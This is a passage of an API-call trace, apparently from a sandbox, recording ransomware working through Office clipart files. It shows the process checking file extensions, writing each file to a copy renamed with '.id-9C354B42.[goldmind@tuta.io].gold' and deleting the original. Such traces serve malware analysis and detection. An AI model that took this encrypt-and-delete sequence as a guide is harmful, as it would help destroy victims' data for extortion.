lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.529] lstrlenW (lpString=".7z") returned 3 [0109.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0109.529] lstrlenW (lpString=".dbf") returned 4 [0109.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0109.529] lstrlenW (lpString=".1cd") returned 4 [0109.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0109.529] lstrlenW (lpString=".jpg") returned 4 [0109.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.529] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.529] lstrlenW (lpString="J0152414.WMF") returned 12 [0109.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.529] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=24844) returned 1 [0109.529] CloseHandle (hObject=0x3b4) returned 1 [0109.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf")) returned 0x20 [0109.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.530] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.530] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0109.531] GetLastError () returned 0x0 [0109.531] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x610c, lpOverlapped=0x0) returned 1 [0109.532] WriteFile (in: hFile=0x194, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x6110, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x6110, lpOverlapped=0x0) returned 1 [0109.533] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0109.533] WriteFile (in: hFile=0x194, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.533] SetEndOfFile (hFile=0x194) returned 1 [0109.534] CloseHandle (hObject=0x194) returned 1 [0109.534] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.534] SetEndOfFile (hFile=0x3b4) returned 1 [0109.536] CloseHandle (hObject=0x3b4) returned 1 [0109.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.537] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf")) returned 1 [0109.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0109.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0109.538] lstrlenW (lpString=".doc") returned 4 [0109.538] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.538] lstrlenW (lpString=".docx") returned 5 [0109.538] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0109.538] lstrlenW (lpString=".pdf") returned 4 [0109.538] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.538] lstrlenW (lpString=".xls") returned 4 [0109.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.538] lstrlenW (lpString=".xlsx") returned 5 [0109.538] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0109.538] lstrlenW (lpString=".ppt") returned 4 [0109.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0109.538] lstrlenW (lpString=".zip") returned 4 [0109.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.538] lstrlenW (lpString=".rar") returned 4 [0109.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.538] lstrlenW (lpString=".bz2") returned 4 [0109.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.538] lstrlenW (lpString=".7z") returned 3 [0109.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0109.538] lstrlenW (lpString=".dbf") returned 4 [0109.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0109.538] lstrlenW (lpString=".1cd") returned 4 [0109.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0109.538] lstrlenW (lpString=".jpg") returned 4 [0109.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0109.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0109.538] lstrlenW (lpString=".doc") returned 4 [0109.538] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.538] lstrlenW (lpString=".docx") returned 5 [0109.538] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0109.538] lstrlenW (lpString=".pdf") returned 4 [0109.538] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.538] lstrlenW (lpString=".xls") returned 4 [0109.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.538] lstrlenW (lpString=".xlsx") returned 5 [0109.538] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0109.538] lstrlenW (lpString=".ppt") returned 4 [0109.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0109.538] lstrlenW (lpString=".zip") returned 4 [0109.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.538] lstrlenW (lpString=".rar") returned 4 [0109.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.538] lstrlenW (lpString=".bz2") returned 4 [0109.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.538] lstrlenW (lpString=".7z") returned 3 [0109.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0109.539] lstrlenW (lpString=".dbf") returned 4 [0109.539] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0109.539] lstrlenW (lpString=".1cd") returned 4 [0109.539] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0109.539] lstrlenW (lpString=".jpg") returned 4 [0109.539] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.539] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.539] lstrlenW (lpString="J0152430.WMF") returned 12 [0109.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.540] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=14132) returned 1 [0109.540] CloseHandle (hObject=0x3b4) returned 1 [0109.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf")) returned 0x20 [0109.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.540] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.541] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0109.541] GetLastError () returned 0x0 [0109.541] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x3734, lpOverlapped=0x0) returned 1 [0109.543] WriteFile (in: hFile=0x194, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x3740, lpOverlapped=0x0) returned 1 [0109.544] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0109.544] WriteFile (in: hFile=0x194, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.544] SetEndOfFile (hFile=0x194) returned 1 [0109.544] CloseHandle (hObject=0x194) returned 1 [0109.544] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.544] SetEndOfFile (hFile=0x3b4) returned 1 [0109.547] CloseHandle (hObject=0x3b4) returned 1 [0109.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.547] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf")) returned 1 [0109.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0109.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0109.548] lstrlenW (lpString=".doc") returned 4 [0109.548] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.548] lstrlenW (lpString=".docx") returned 5 [0109.548] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0109.548] lstrlenW (lpString=".pdf") returned 4 [0109.548] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.548] lstrlenW (lpString=".xls") returned 4 [0109.548] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.548] lstrlenW (lpString=".xlsx") returned 5 [0109.548] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0109.548] lstrlenW (lpString=".ppt") returned 4 [0109.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0109.548] lstrlenW (lpString=".zip") returned 4 [0109.548] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.548] lstrlenW (lpString=".rar") returned 4 [0109.548] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.548] lstrlenW (lpString=".bz2") returned 4 [0109.548] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.548] lstrlenW (lpString=".7z") returned 3 [0109.548] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0109.548] lstrlenW (lpString=".dbf") returned 4 [0109.548] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0109.549] lstrlenW (lpString=".1cd") returned 4 [0109.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0109.549] lstrlenW (lpString=".jpg") returned 4 [0109.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0109.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0109.549] lstrlenW (lpString=".doc") returned 4 [0109.549] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.549] lstrlenW (lpString=".docx") returned 5 [0109.549] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0109.549] lstrlenW (lpString=".pdf") returned 4 [0109.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.549] lstrlenW (lpString=".xls") returned 4 [0109.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.549] lstrlenW (lpString=".xlsx") returned 5 [0109.549] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0109.549] lstrlenW (lpString=".ppt") returned 4 [0109.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0109.549] lstrlenW (lpString=".zip") returned 4 [0109.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.549] lstrlenW (lpString=".rar") returned 4 [0109.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.549] lstrlenW (lpString=".bz2") returned 4 [0109.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.549] lstrlenW (lpString=".7z") returned 3 [0109.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0109.549] lstrlenW (lpString=".dbf") returned 4 [0109.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0109.549] lstrlenW (lpString=".1cd") returned 4 [0109.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0109.549] lstrlenW (lpString=".jpg") returned 4 [0109.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.549] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.549] lstrlenW (lpString="J0152432.WMF") returned 12 [0109.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.550] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=16492) returned 1 [0109.550] CloseHandle (hObject=0x3b4) returned 1 [0109.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf")) returned 0x20 [0109.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.550] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.550] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0109.551] GetLastError () returned 0x0 [0109.551] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x406c, lpOverlapped=0x0) returned 1 [0109.702] WriteFile (in: hFile=0x194, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x4070, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x4070, lpOverlapped=0x0) returned 1 [0109.703] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0109.703] WriteFile (in: hFile=0x194, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.703] SetEndOfFile (hFile=0x194) returned 1 [0109.704] CloseHandle (hObject=0x194) returned 1 [0109.704] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.704] SetEndOfFile (hFile=0x3b4) returned 1 [0109.706] CloseHandle (hObject=0x3b4) returned 1 [0109.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf")) returned 1 [0109.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0109.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0109.722] lstrlenW (lpString=".doc") returned 4 [0109.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.722] lstrlenW (lpString=".docx") returned 5 [0109.722] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0109.722] lstrlenW (lpString=".pdf") returned 4 [0109.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.722] lstrlenW (lpString=".xls") returned 4 [0109.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.722] lstrlenW (lpString=".xlsx") returned 5 [0109.722] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0109.722] lstrlenW (lpString=".ppt") returned 4 [0109.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0109.722] lstrlenW (lpString=".zip") returned 4 [0109.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.722] lstrlenW (lpString=".rar") returned 4 [0109.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.722] lstrlenW (lpString=".bz2") returned 4 [0109.722] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.722] lstrlenW (lpString=".7z") returned 3 [0109.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0109.722] lstrlenW (lpString=".dbf") returned 4 [0109.722] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0109.722] lstrlenW (lpString=".1cd") returned 4 [0109.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0109.722] lstrlenW (lpString=".jpg") returned 4 [0109.722] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0109.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0109.722] lstrlenW (lpString=".doc") returned 4 [0109.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.722] lstrlenW (lpString=".docx") returned 5 [0109.722] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0109.722] lstrlenW (lpString=".pdf") returned 4 [0109.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.722] lstrlenW (lpString=".xls") returned 4 [0109.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.722] lstrlenW (lpString=".xlsx") returned 5 [0109.722] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0109.722] lstrlenW (lpString=".ppt") returned 4 [0109.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0109.723] lstrlenW (lpString=".zip") returned 4 [0109.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.723] lstrlenW (lpString=".rar") returned 4 [0109.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.723] lstrlenW (lpString=".bz2") returned 4 [0109.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.723] lstrlenW (lpString=".7z") returned 3 [0109.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0109.723] lstrlenW (lpString=".dbf") returned 4 [0109.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0109.723] lstrlenW (lpString=".1cd") returned 4 [0109.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0109.723] lstrlenW (lpString=".jpg") returned 4 [0109.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.723] 